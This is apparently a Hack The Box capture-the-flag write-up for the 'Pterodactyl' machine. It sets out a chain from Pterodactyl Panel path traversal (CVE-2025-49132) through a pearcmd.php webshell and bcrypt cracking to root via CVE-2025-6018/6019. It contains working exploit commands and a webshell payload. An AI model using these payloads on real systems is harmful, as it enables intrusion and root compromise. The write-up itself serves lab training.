← Writeups
HTB - Pterodactyl badge

2026-02-12 • htb • hard • linux

HTB - Pterodactyl

Path traversal in Pterodactyl Panel leaks database credentials. Pearcmd LFI converts to RCE, bcrypt hash cracking gives SSH access, then CVE-2025-6019 (udisks XFS resize without nosuid) escalates to root.

cvelfipath-traversalhash-crackudiskspolkit nmapgobusterjohngdbus

Hack The Box — Pterodactyl

Hard | openSUSE Leap 15.6 | Hack The Box


FieldValue
Report Date12 February 2026
Assessed ByRobInTheHood
Target IP10.129.2.124
Hostnamepanel.pterodactyl.htb
DomainPTERODACTYL.HTB

Table of Contents

  1. Executive Summary
  2. Scope
  3. Methodology
  4. Attack Chain Summary
  5. Findings
  6. Proof of Access
  7. Credentials Discovered
  8. Impact Assessment
  9. Remediation Summary
  10. Key Takeaways
  11. Tools Used
  12. Disclaimer

1. Executive Summary

This report documents the compromise workflow for the Hack The Box machine Pterodactyl. The objective was to obtain full system-level access in an authorised lab environment and document the attack path with reproducible evidence.

Path traversal in Pterodactyl Panel leaks database credentials. Pearcmd LFI converts to RCE, bcrypt hash cracking gives SSH access, then CVE-2025-6019 (udisks XFS resize without nosuid) escalates to root.


2. Scope

FieldValue
Target IP10.129.2.124
Hostnamepanel.pterodactyl.htb
DomainPTERODACTYL.HTB
Operating SystemopenSUSE Leap 15.6
Machine RatingHard
EnvironmentHack The Box — Authorised Training Lab
Assessment Date12 February 2026
AssessorRobInTheHood

3. Methodology

  • Reconnaissance — service discovery and external attack-surface mapping
  • Enumeration — credential, configuration, and trust-path analysis
  • Exploitation — initial access through validated vulnerability paths
  • Lateral Movement — privilege pivoting and cross-context execution
  • Privilege Escalation — full compromise to root/SYSTEM context
  • Post-Exploitation — proof collection and impact-oriented validation

4. Attack Chain Summary

PhaseTechniqueMITRE ATT&CK
ReconNmap, vhost enumerationT1046 · T1595.002
Info Gatheringchangelog.txt + phpinfo.php + CVE-2025-49132 path traversal → DB credsT1083 · T1190
Initial Accesspearcmd.php LFI-to-RCE (webshell as wwwrun)T1190 · T1505.003
Lateral MovementMariaDB query → bcrypt hashes, john crack → SSH as phileasfogg3T1110.002 · T1021.004
Privilege EscalationCVE-2025-6018 (PAM fake seat) + CVE-2025-6019 (udisks XFS nosuid) → SUID bash → rootT1548.001

5. Findings

F-01 — Technical Walkthrough

Reconnaissance

PortService
22OpenSSH 9.6
80nginx 1.21.5

Virtual host enumeration reveals:

VhostDescription
pterodactyl.htbMonitorLand — Minecraft community site
panel.pterodactyl.htbPterodactyl Panel v1.11.10

Information Gathering

changelog.txt on the main site discloses PHP-PEAR is installed and phpinfo() is temporarily exposed. phpinfo.php confirms disable_functions and open_basedir are both empty, and register_argc_argv = On.

CVE-2025-49132 — Path Traversal Config Leak

The Panel’s /locales/locale.json endpoint includes arbitrary PHP config files via a locale path traversal:

GET /locales/locale.json?locale=..%2f..%2fconfig&namespace=database&hash=1932da4d5c6

Extracted credentials:

  • MariaDB: pterodactyl:PteraPanel on 127.0.0.1:3306
  • APP_KEY: base64:UaThTPQnUjrrK61o+Luk7P9o4hM+gl4UiMJqcbTSThY= (AES-256-CBC)
  • Session driver: Redis (DB 1), cookie encrypted with APP_KEY

Initial Access — pearcmd.php LFI → RCE

PHP-PEAR’s pearcmd.php processes PEAR commands from query-string arguments when register_argc_argv is on. The path traversal includes it directly:

# Step 1: write a webshell via PEAR config-create
curl --request-target '/locales/locale.json?locale=../../../../../usr/share/php/PEAR&namespace=pearcmd&hash=1932da4d5c6&+config-create+/<?=system($_GET["c"])?>+/tmp/cmd2.php' 'http://panel.pterodactyl.htb/'

# Step 2: include the webshell for RCE
curl -sG 'http://panel.pterodactyl.htb/locales/locale.json' --data-urlencode 'locale=../../../../../tmp' --data-urlencode 'namespace=cmd2' --data-urlencode 'hash=1932da4d5c6' --data-urlencode 'c=id'

Result: uid=474(wwwrun) gid=477(www)

Lateral Movement — wwwrun → phileasfogg3

From the webshell, query the MariaDB:

mariadb -u pterodactyl -pPteraPanel -h 127.0.0.1 panel -e "SELECT username,password FROM users;"
UsernameHash
phileasfogg3$2y$10$PwO0TBZA8hLB6nuSsxRqoO...
headmonitor$2y$10$3WJht3/5GOQmOXdljPbAJe...
john --wordlist=/usr/share/wordlists/rockyou.txt hashes_bcrypt.txt
# phileasfogg3: !QAZ2wsx
ssh phileasfogg3@pterodactyl.htb

User flag: cat /home/phileasfogg3/user.txt

Privilege Escalation — CVE-2025-6019 (udisks XFS nosuid bypass)

sudo -l shows (ALL) ALL with Defaults: targetpw, blocking sudo without root’s password.

CVE-2025-6018 — Faking a physical polkit session via PAM:

pam_env reads ~/.pam_environment before pam_systemd processes XDG_SEAT/XDG_VTNR. Injecting these makes polkit treat the SSH session as allow_active, enabling udisksctl loop-setup without authentication:

echo 'XDG_SEAT OVERRIDE=seat0' > ~/.pam_environment
echo 'XDG_VTNR OVERRIDE=1' >> ~/.pam_environment
# Reconnect via SSH for PAM to apply

CVE-2025-6019 — XFS resize mounts without nosuid:

When resizing an XFS filesystem, libblockdev temporarily mounts it in /tmp without the nosuid flag. A SUID binary placed in the image executes as root.

# On attacker: craft malicious XFS image
dd if=/dev/zero of=./xfs.image bs=1M count=300 && mkfs.xfs ./xfs.image
sudo mount -t xfs ./xfs.image ./xfs.mount && sudo cp /bin/bash ./xfs.mount/ && sudo chmod 04555 ./xfs.mount/bash && sudo umount ./xfs.mount
scp ./xfs.image phileasfogg3@pterodactyl.htb:/tmp/xfs.image

# On target
udisksctl loop-setup --file /tmp/xfs.image --no-user-interaction
# Keep mount busy while requesting resize
while true; do /tmp/blockdev*/bash -c 'sleep 10' && break; done &
gdbus call --system --dest org.freedesktop.UDisks2 --object-path /org/freedesktop/UDisks2/block_devices/loop0 --method org.freedesktop.UDisks2.Filesystem.Resize 0 '{}'
# Mount remains due to busy target
/tmp/blockdev*/bash -p

Root flag: cat /root/root.txt


6. Proof of Access

LevelEvidence
Usercat /home/phileasfogg3/user.txt
Rootcat /root/root.txt

7. Credentials Discovered

AccountSecretTypeSource
See FindingsDocumented inlineMixedCommands and evidence blocks in section 5

8. Impact Assessment

Successful exploitation resulted in high-impact host compromise and demonstrated practical attacker control across the full kill chain for this target.


9. Remediation Summary

PriorityAction
HighPatch exploitable service components and remove unsafe defaults.
HighRestrict writable paths and high-risk ACL/delegation rights.
MediumEnforce credential hygiene, rotation, and secret exposure controls.
MediumAdd detections for attacker tradecraft used in section 5.

10. Key Takeaways

  • Small configuration weaknesses can chain into full host compromise.
  • Credential exposure and trust relationships are critical escalation multipliers.
  • Reproducible testing and evidence-driven reporting improve remediation quality.

11. Tools Used

ToolPurpose
nmapUsed during enumeration/exploitation workflow.
gobusterUsed during enumeration/exploitation workflow.
johnUsed during enumeration/exploitation workflow.
gdbusUsed during enumeration/exploitation workflow.

12. Disclaimer

This assessment was performed exclusively in an authorised Hack The Box training environment for educational and portfolio purposes.


End of Report — Pterodactyl | RobInTheHood | 12 February 2026